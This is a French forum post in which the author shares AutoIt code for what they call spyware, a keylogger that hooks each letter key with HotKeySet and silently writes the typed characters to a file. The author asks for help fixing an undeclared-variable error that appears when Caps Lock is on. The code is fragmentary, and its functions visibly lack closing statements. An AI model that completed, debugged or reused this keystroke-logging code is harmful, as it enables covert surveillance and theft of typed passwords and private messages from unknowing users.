Bonjour je me suis lancer il n'y a pas longtemps dans un logiciel espion dont voila quelque parties du code:
► Afficher le textecode
Code : Tout sélectionner
Func a($nb=1)
If _IsToggled("14")=0 Or $nb=0 Then
HotKeySet("a")
Send("a")
If $lock=1 Then FileWrite($file1,"a")
HotKeySet("a", "a")
Else
qa(0)
EndIf
Func qa($nb=1)
If _IsToggled("14")=0 Or $nb=0 Then
HotKeySet("+a")
Send("A")
If $lock=1 Then FileWrite($file1,"A")
HotKeySet("+a", "qa")
Else
a(0)
EndIf
Func _IsToggled($sHexKey)
Local $vDLL = "user32.dll"
Local $a_R = DllCall($vDLL, "short", "GetKeyState", "int", '0x' & $sHexKey)
If Not @error And BitAND($a_R[0], 0xFF) = 1 Then Return 1
Return 0
EndFunc
Le reste du code c'est le GUI de départ et les autres fonctions pour les autres lettres.
J'ai rouver la fonction _IsTobbled sur un autre forum.
Voila mon problème:
les touches minuscules fonctionnes, SHIFT+minuscule fonctionne aussi mais impossible d'utiliser les touches majuscules avec le verrou il me met:
Func _IsToggled($sHexKey)
Func _IsToggled($sHexKey)^
Error variable using without being declared
Et je n'ai aucune idée de pourquoi sa ne marche avec les minuscules et pas les majuscules
Merci d'avance
